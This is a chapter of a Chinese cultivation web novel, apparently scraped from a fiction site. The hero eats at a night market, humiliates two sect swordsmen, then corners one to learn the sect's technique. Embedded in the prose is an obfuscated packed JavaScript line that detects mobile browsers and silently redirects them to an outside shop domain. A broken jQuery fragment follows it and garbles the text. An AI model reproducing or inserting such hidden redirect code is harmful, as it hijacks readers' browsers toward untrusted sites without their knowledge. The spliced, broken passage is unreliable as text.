文趣网 > 其他小说 > 直男龙傲天被迫修合欢道 > 8. 今晚一起睡吗
    池度感到心旷神怡,连带着晚风中的水腥味都觉得好闻了起来,他抬手将脸颊边的一缕头发别至耳后。

    不远处是一条护城长河,河边有孩童玩闹,一些夫妻模样的男女在燃放花灯,灯盏缓缓漂过河面,星星点点,熠熠生辉。

    他已远离凡尘许久,陡然被这样的烟火气息包围,竟生出无限的怀念之感。

    修仙问道,本该孑然一身,了却凡尘才是。沉湎于红尘俗世太久,恐会扰乱道心。

    看来,接下来这一年的时间,还当更加谨慎为上。

    池度在心中默念「心无旁骛」,店老板端着一盘盘滋滋冒油的烤肉上桌。

    新鲜的肉串经过炭火翻烤,每一颗都外皮焦黄,色泽油亮。等摆好盘,店老板又掐了几撮红绿相间的香料撒在其上,顿时香气四溢扑鼻,只一闻便叫人唇齿生津。

    方却棠拣了几串放到池度面前,见池度不动筷子,“怎么了,不合口味?”

    池度如临大敌般看着怀里的烤肉。

    半晌后,终究不敌。

    算了,来都来了,先吃肉吧。

    正埋头吃着,隔了几桌距离来了两名江湖人士,其中一人大剌剌把佩刀搁至桌上,长刀在桌上咣当乱响,伸出大半个刀身,将本不宽敞的一侧通道挡了大半。

    “老板,来两盘烤牛肉,一壶高粱酒!”

    池度扫了两人一眼,那两人坐下,其中一人道:“赵师兄,听说了吗,江南余家那事……”

    那姓张的一声长叹:“哎唷,近来江湖上闹得沸沸扬扬,说是上下109口人,一夜之间全被杀了,府邸都被烧了个一干二净。”

    “是啊,好像报了官也是不了了之。”

    “啧,官府才不想管这种武林纷争,随口胡诌是强盗劫财,草草把人埋掉就结案了。”

    “委实是一桩惨案呐,就因为那截被传得神乎其神的琉璃佛骨,那么多人全都死于非命。”

    “哎呀,惨什么嘛。要我说,那余家是自作孽,因果循环,报应不爽啊。”

    “赵师兄何出此言?”

    “我曾听师父说,”姓张的左右张望,压低声音道,“那佛骨原先是藏在少林寺的达摩洞,后来一日,余家当时的家主余贯涯去少林约见方丈,结果当夜少林就起了一场大火,焚毁了大半个达摩洞,火灭后,琉璃佛骨就不翼而飞了。”

    “莫不是余贯涯放火盗走佛骨?”

    张姓男人摇头道:“余贯涯反正不认,佛骨也就此消失了五十年。”

    “那后来佛骨怎么又去了余家?”

    “哼哼,”姓张的冷笑,“传言是余家长孙得了怪病,遍请名医无果,一日,来了个云游和尚,说有一物可救余家长孙性命。于是拿出半截琉璃色肋骨,说此物放置长孙枕畔七日,便可沉疴顿愈。”

    “当真如此神奇?”

    “这事当年的余家自然也将信将疑,但那时他们已经再无他法,只得将那半截肋骨依言放置,结果你猜怎么着——卧床多年的余家长孙七日后果然可以下床行走,半月后便健步如飞,与常人无异!待到余家家主要重谢云游和尚,那和尚已经飘然而去,找不着踪迹了。”

    “难道真如余家所说,他们是白捡的半个宝贝?”

    “呵呵,是福缘还是祸根,又岂是你我二人能定夺的。”

    “那倒也是,那么风光无两的江南四大世家之一,一夜之间就被付之一炬。”

    “我听说啊,余家还有个养在外面的小儿子,不知道现今……”

    两人声音越说越小,池度再怎么专注也听不见了。于是把盘子里的东西一扫而空,抬头才看见方却棠几乎都没动筷子。“你不是饿了吗?”

    “这会又不饿了。”方却棠脸色有些发白,“许是舟车劳顿,身体不爽。池兄吃好了?”

    “嗯。”池度注视着方却棠的脸,方却棠没看他,只说:“那我们回去吧。”

    然后不等池度回答,就匆匆起身往客栈方向走。

    可他走得太急,宽大的衣摆扫过方才两人的桌面,将那柄本就没放稳的弯刀拂下了桌。

    那张姓男人立即出言大骂:“喂!臭小子,怎么走路的,不长眼睛吗?!”

    方却棠回身,修眉微皱,“抱歉,在下并非有意。”

    “老子管你有意无意,知道我是谁吗?还不替我把刀捡起来!”

    方却棠垂眸看着地面那把弯刀,正要去捡,身后池度拉住他的手,方却棠回眸,池度长腿往前一迈,一脚踩到弯刀上。

    张姓男人愤然作色:“狗杂种,你找死吗?!”

    池度有些吃惊:“已经很久没有人问过我这句话了。”

    男人与同伴交换了个眼神,两人立即一拥而上,出拳直击池度面门。池度向后压腰,足下碾过刀鞘,向上只轻轻一挑,就踢起了重逾百斤的弯刀。

    两人挥拳扑空,池度已经凌空拔刀出鞘。

    刀刃在夜灯下折射出冷光,晃过张姓男人的眼睛,他大吃一惊,甚至都没看清池度的动作,脖颈就传来一片细微的刺痛,原是自己的弯刀已经抵在了他的脖子上。

    张姓男人吓得一哆嗦,忙道:“大侠、大侠!都是误会!”

    池度倾身向前,刀刃顺势又压下了半分。

    身后男人赶紧拔刀相救,池度连头也未回,轻轻一扬手,两指就夹住了那片刀刃。他手指用力,明晃晃的弯刀被他轻易折出了怪异的弧度。

    身后男人头顶冷汗直冒,求饶道:“少侠,有话好好说,刀剑无眼,千万莫伤了和气!”

    池度手一松,把折弯的刀随意丢到地上,然后挑眉看向被他用刀架住脖子的张姓男人,“喂,你的刀放在桌沿,伸出大半,挡住了我朋友的去路。”

    张姓男人吓个半死,“是是是,是小人没放好随身之物,挡了大侠和这位公子的路……”

    “向他道歉。”池度瞥了眼方却棠。

    “诶,好、好!公子,小人有眼不识泰山,您大人不记小人过,就让您朋友饶了小人吧!……”

    池度仍觉不够,但方却棠此时拉了下他的衣摆,无声摇了摇头。

    池度于是松开男人,把弯刀扔到桌面,对方却棠说:“我们走吧。”

    两人并肩往前,那两个男人捡起弯刀欲要跟上偷袭,池度回头,视线冷冷扫过,两人讪笑着停下了动作,嘿嘿收了刀。

    等走远了,方却棠才说:“那两人是浑天门的弟子,那名带刀的赵姓男子,想必就是浑天门的大弟子,若没记错,应该是叫赵康。”

    “什么浑天门?”

    得益于系统小美的不作为,池度对这个世界的设定知之甚少。

    “池兄不知道也正常。浑天门算不上武林中的大门大派,身法招式也并不花哨独到,但却有门绝学让其一招鲜,吃遍天。”

    池度有了丝兴趣:“哦?”

    “名曰《一气功》。”

    池度喉咙里哼出一声嗤之以鼻的笑,“就是方才两人的那三脚猫功夫?”

    方却棠看着那略嫌嚣张的侧脸,无奈摇头,笑了笑说:“池兄的武学造诣,自然不是那两人能望其项背的。不过嘛,出门在外,多一事不如少一事。更何况,浑天门的一气功最擅长后发制人。他们与人打架斗狠,从来不会先出手。你打他们几拳,他们通通挨着受着,非但如此,还会将冲击转化为自身内力积蓄,等到你打累了,他们体内的丹田之气就养纯了,届时只需轻轻一推,池兄你就……”

    “我就?”池度语带不屑。

    方却棠狡黠地眨了眨眼睛,“到客栈了,池兄今夜要还与我同睡?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523417|203378||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “不了。”池度看了眼方却棠,踏进自己屋内,把房间门合上。

    “我今夜还有事。”

    ·

    子夜时分,躺在床上的赵康翻了个身,睡梦中总觉得有一双眼睛在盯着自己,揉了揉惺忪的眼睛,一睁开吓了一哆嗦。

    “哇啊啊啊!!你谁啊?!怎么在——”一只有力的大手扼住了他的咽喉。“呃呃!”

    “别叫。”

    赵康一下睡意全无,“大大大、大侠!”

    求饶中,他觉得面前那黑影的轮廓有些熟悉,借着月光凝眸一看,竟然就是夜市上见过的那名黑衣男子。

    池度往床上扫了一眼,“另外那个呢?”

    赵康不知他要干什么,只得老实道:“我师弟他、他在隔壁房间……”

    “你们不睡在一起吗?”池度问,又说,“算了,你也可以。”

    说完松开赵康的脖子,“把灯点开。”

    赵康连忙掏出火镰火绒,点亮油灯。

    “你,”池度开口,赵康点头如捣蒜,池度点了下自己的胸口,“冲这里打几拳。”

    “嗳、嗳,好的大侠。呃,”赵康愣住,搓了搓耳朵,“啊?”

    “随意发挥即可,但若是有所保留,本座就杀了你。”

    赵康没听过这么奇怪的要求,以为自己还在做梦,可池度已经有些不耐烦了,皱眉咋舌,“愣着干什么,快打。”

    “啊?哦、哦。”赵康硬着头皮应道。

    池度往前一步靠近赵康,油灯晃了几晃,赵康的心也跟着跳了几跳。

    “快点。”池度催促。

    赵康心一横,抡起手,蓄力片晌,一掌拍在了池度的胸口。

    这掌风沉闷,如平地一声闷雷。赵康拍完,抬眼看了看面不改色的池度,“大侠,这力度够吗?”这一掌是他的看家本领,也曾被师父夸赞过颇有慧根。

    “再来。”

    赵康咽了口唾沫,全当自己是在梦中挟嫌报复了。“得罪了。”他调息屏气,将双掌灌满内力,然后两手齐出一推,掌风比上一掌还要刚劲。

    只听“砰”的一声,双掌严严实实直击池度心口,内力震荡下,竟将桌面才点的灯给震灭了。

    就连赵康自己也被内力反震,噔噔噔往后退了好些步,四仰八叉摔到床上。

    他喘了喘气,屋内很快又亮起火光,原来是池度再次点了灯。

    赵康瞪大眼睛,他那掌已经用了十成十的功力,可池度不说受伤,反而如此纹丝未动。看着那灯前的背影,赵康一时气血上涌,从床上几步爬起,嘴里“啊”地低吼,冲着池度的后心就要偷袭。

    他出招比平时迅猛数倍,只是还没触碰到池度的身体,就见对方身形一侧,回身右手往前,五指如钩般截住他的手腕。

    “你干什么?”池度责问道。

    赵康被抓住,也不回答,当即变了招,掌心一转,就要扫过池度的心口。

    池度轻蔑一哼,不退反进,左手轻松上托,将赵康来势汹汹的掌力当场卸去,右肘顺势聚力撞向赵康肋下。

    赵康“哇”地吐出一口鲜血,捂着肋下,脸色惨白往后退。

    “本座只让你打两次,你做什么要再来一掌。”池度语气中带着恼火。

    方才要不是提前收了招,他差点就条件反射把面前这人给打死了。

    “你这狂徒!”赵康羞愤难当,脖子一横,作赴死态势,“我赵康自知技不如人,但也绝非任人愚弄之辈!今日落到你的手上,要杀要剐,悉听尊便!”

    池度拉出桌边的椅子坐下,两条长腿随意交叠,“本座对杀你可没兴趣。”

    他挑了挑在上的那只腿的足尖,“把你们那个什么《一气功》的心法,一字不落地,给本座写出来。”